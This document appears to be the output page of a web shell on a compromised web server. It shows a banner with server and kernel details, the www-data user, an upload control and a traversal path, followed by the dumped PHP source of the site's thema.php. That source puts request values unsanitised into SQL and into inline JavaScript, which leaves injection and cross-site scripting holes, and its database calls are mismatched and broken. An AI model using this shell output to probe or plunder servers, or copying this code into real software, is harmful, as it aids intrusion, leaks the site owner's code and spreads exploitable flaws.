( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/..//thema.php
<?php error_reporting(0);
include("real/service/config/protect.php");
  include('const.inc.php');
 include('Connections/videoondemand.php');   
include("real/service/config/limittext.php");
require("real/service/config/DbSql.inc.php");
require("real/service/config/NewsSql.inc.php");
$db = new NewsSQL($DBName);  
$tandau = yaw($tandau, "qiu3ggrubfabffuwhfuiwhfiwgfiub");
$tandao = yaw($tandao, "qiu3ggrubfabffuwhfuiwhfiwgfiub");

$homecataresult = $db->getchildcatalog(0);

$getfeaturedc = $db->getfeaturedchannel(0);
$homelatestresult = $db->getlatestonhome($front_latestonhomerecord);




$picturepath = "./v/uploads/gthumbs/";

$db->delilike($id);
$db->derecomm($newsid);

if (($topicid >=1)){
  $db->addlike($topicid,$image,$video,$topic,$category,$site,$address);
}
$pre[0] = $newsid-1;

for ($i=1; $i<=$prenumber-1; $i++){
$pre[$i] = $pre[$i-1]-1;
}

$next[0] = $newsid+1;

for ($i=1; $i<=$nextnumber-1; $i++){
$next[$i] = $next[$i-1]+1;
}
 
if($_GET['page'])
{
	
	 $me = $_GET['who'] ;
	  $profile = $_GET['profile'] ;
	$multi = $_GET['page'] ;
	$extract = explode("-",$multi);
$channel= $extract[0];

 
$page= $extract[1];

$cur_page = $page;
 
$per_page = 9;
$previous_btn = true;
$next_btn = true;
$first_btn = true;
$last_btn = true;
$startRow_Latest = $page * $per_page;

if($page == 0)
{$method ="rand()";}
else {
	$method ="title asc";
	}
$method ="title asc";
 $today = time();
$lastweek = strtotime('-30 days');
echo $query_pag_data = "SELECT * from  layouts  order by $method LIMIT $startRow_Latest, $per_page";


/*$query_pag_data = "SELECT * from profilepicture where isdisplay=5  and type = '0' ORDER BY msg_id DESC LIMIT $startRow_Latest, $per_page";
*/ 
$result_pag_data = mysqli_query($query_pag_data) or die('MySql Error' . mysql_error());
$msg = "";
/* --------------------------------------------- */
  $query_pag_num = "SELECT COUNT(*) AS count FROM  `layouts` ";
$result_pag_num = mysqli_query($query_pag_num);
$row_Latest = mysql_fetch_array($result_pag_num);
$count = $row_Latest['count'];
$no_of_paginations = ceil($count / $per_page)-1;

/* ---------------Calculating the starting and endign values for the loop----------------------------------- */
if ($cur_page >= 7) {
    $startRow_Latest_loop = $cur_page - 3;
    if ($no_of_paginations > $cur_page + 3)
        $end_loop = $cur_page + 3;
    else if ($cur_page <= $no_of_paginations && $cur_page > $no_of_paginations - 6) {
        $startRow_Latest_loop = $no_of_paginations - 6;
        $end_loop = $no_of_paginations;
    } else {
        $end_loop = $no_of_paginations;
    }
} else {
    $startRow_Latest_loop = 1;
    if ($no_of_paginations > 7)
        $end_loop = 7;
    else
        $end_loop = $no_of_paginations;
}
/* ----------------------------------------------------------------------------------------------------------- */



	$cur_pageX =$cur_page+1;

 ?>

  <table border="0" width="100%" class='paginationReportaM animated fadeIn' cellpadding="0" cellspacing="0"  height="40" style=" background-image:url(real/service/images/newprofile.png); background-position:left; background-position:top; background-repeat:no-repeat ">
     <tr>
		<td width="190"  height="40">
			<img src="real/service/images/layouts.png"   height="55" alt=""></td>
		<td width="100%"  height="40"  align="right" style="color:#FFF; padding-right:10px" >
			</td>
		

  
   
<!--   
    <td width="54"  height="40" >
			<img src="images/buttons2_03.png" width="54"  height="55" alt=""></td>-->
  
   <td width="54"  height="40" align="right" >
<?php

if ($previous_btn && $cur_page > 0) {
   $pre = $cur_page - 1;?>			
 
<span p='<?php echo $pre ?>' class='active left' id="<?php echo $pre ?>" ><img src="real/service/images/app_09.png" width="54"  height="55" alt=""></span> 
<?php } else if ($previous_btn) {?>
    <span class='inactive'><img src="real/service/images/app_09.png" width="54"  height="55" alt=""></span> 
<?php }?>


</td>

<td width="53"  height="40" ><?php 

// TO ENABLE THE NEXT BUTTON
if ($next_btn && $cur_page < $no_of_paginations) {
    $nex = $cur_page + 1;?>
 <span p='<?php echo $nex ?>' id="<?php echo $nex ?>" class='active right' ><img src='real/service/images/app_10.png' width='53' height='55' ></span> 
<?php } else if ($next_btn) {?>
<span class='inactive'><img src='real/service/images/app_10.png' width='53' height='55' ></span>
  
<?php }?>

</td>
	</tr>
    
    
  <?php /*?>  <tr><td colspan="4" style="padding:10px">
    
  <span class="h4 text-muted" id="titMe"><!--Tap below to select your favorite text layout to use on all your posts! Swipe to see more layouts--> </span> 
  
    <span class="h4" id="titMe2"> </span> 
<!-- <div class="h4 text-muted" style="font-size:10px"> Or switch anytime between layouts by typing your *startag of choice. e.g *breaking for breaking news, *happening for happening now</div>-->
    
 
    
    </td>
    </tr><?php */?>
     </table >




<script type="text/javascript">


	$(".love").click(function() {
      
	  
	  var ID = $(this).attr("id");
	var whose = $('.whose').attr("id");	
var myaccount= <?php echo $me ?>;

if (whose == myaccount){
 $(".love" + ID).fadeIn(400).html('<img src="images/heartb.png" />');

}
else
{
 

		$(".love"+ ID).fadeIn(400).html('<img src="images/hearta.png" />');

		$.ajax({  
		type: "GET",  
		url: "<?php echo $siteaddress ?>service/account/account.php?myaccount=<?php echo $me ?>&whose="+whose+"",  
		data: { picID: ID,  mode: "love"},  
		success: function(theResponse) {
		 	
		 
			$(".love" + ID).fadeIn(400).html('<img src="images/heartb.png" />'+theResponse);

			
		}  
		});  }
		
	});
	 
	 
// close photo preview block
function closePhoto2Preview() {
    $('#photo_preview').hide();
    $('#photo_preview .pleft').html('empty');
    $('#photo_preview .pright').html('empty');
};

// display photo preview block
function getPhoto2PreviewAjx(id) {
	
	loading_show();
   $('#footer2').hide();
	 $('#chat-form').hide();
    $.post('<?php echo $siteaddress ?>service/opengallery_ajxmimi.php?isdisplay=5', {action: 'get_info', id: id, myaccount: <?php echo $me ?>},
         function(data){
			
            $('#photo_preview .pleft').html(data.data1);
            $('#photo_preview .pcomments').html(data.data2);
			$('#photo_preview .ptitle').html(data.data3);
			
			  var form = $("#commentnow");
				  $("#msg_id", form).val(data.msg_id);
			  $("#yanani", form).val(data.yanani);
			
			
			
			$('#photo_preview .pdescription').html(data.data4);
			$('#photo_preview .picme').html(data.data5);
			$('#photo_preview .pyanani').html(data.data6);
			$('#photo_preview .timeme').html(data.data7);
			$('#photo_preview .pepisode').html(data.data8);
			$('#photo_preview .pcomments').html(data.data9);
			$('#photo_preview .next').html(data.data10);
			$('#photo_preview .previous').html(data.data11);
			$('#photo_preview').show();
			$('#photo_preview .check2').html('');
        }, "json"
    );

loading_hide();
};

// submit comment
function submitComment(id) {
    var sName = $('#name').val();
    var sText = $('#text').val();

    if (sName && sText) {
        $.post('<?php echo $slugX ?> ', { action: 'accept_comment', name: sName, text: sText, id: id }, 
            function(data){ 
                if (data != '1') {
                    $('#comments_list').fadeOut(1000, function () { 
                        $(this).html(data);
                        $(this).fadeIn(1000); 
                    }); 
                } else {
                    $('#comments_warning2').fadeIn(1000, function () { 
                        $(this).fadeOut(1000); 
                    }); 
                }
            }
        );
    } else {
        $('#comments_warning1').fadeIn(1000, function () { 
            $(this).fadeOut(1000); 
        }); 
    }
};

// init
$(function(){

    // onclick event handlers
    $('#photo_preview .photo_wrp').click(function (event) {
        event.preventDefault();

        return false;
    });
   /* $('#photo_preview').click(function (event) {
        closePhoto2Preview();
    });*/
    $('#photo_preview img.close').click(function (event) {
        closePhoto2Preview();
    });

    // display photo preview ajaxy
    $('.photo2').click(function (event) {
        if (event.preventDefault) event.preventDefault();
		alert($(this).attr('id'));
         getPhoto2PreviewAjx($(this).attr('id'));
    });
	
})
 

</script>



d




 <ul id="Gallery2" class="gallery">
  <?php
 

while ($row_Latest = mysql_fetch_array($result_pag_data)) {?>

<div  class="wrapperX animated fadeIn addtheme" id="<?php echo $row_Latest['title']; ?>"><span id="gloss"> </span>
  <div class="video"> <img class="image4" src="<?php echo $server ?>/taswira.php?width=200&height=200&quality=100&cropratio=1:1&image=/v/uploads/layouts/<?php echo $row_Latest['picture']; ?>">
    <div class="description">
      <p class="description_content" id="<?php echo $row_Latest['newsid']; ?>">*<?php echo substr($row_Latest['title'], 0, 15); ?></p>
    </div>
  </div>
</div> 

  
 
 
  <?php
 

}



}?>
 
</ul>      <div class="alert-dialog-mask" id="disp2"  style="z-index:999999999999; display:none"></div>

<div class="alert-dialog " id="disp1" style="z-index:9999999999999; display:none">
  <div class="alert-dialog-content" id="current">
  
  </div>
</div>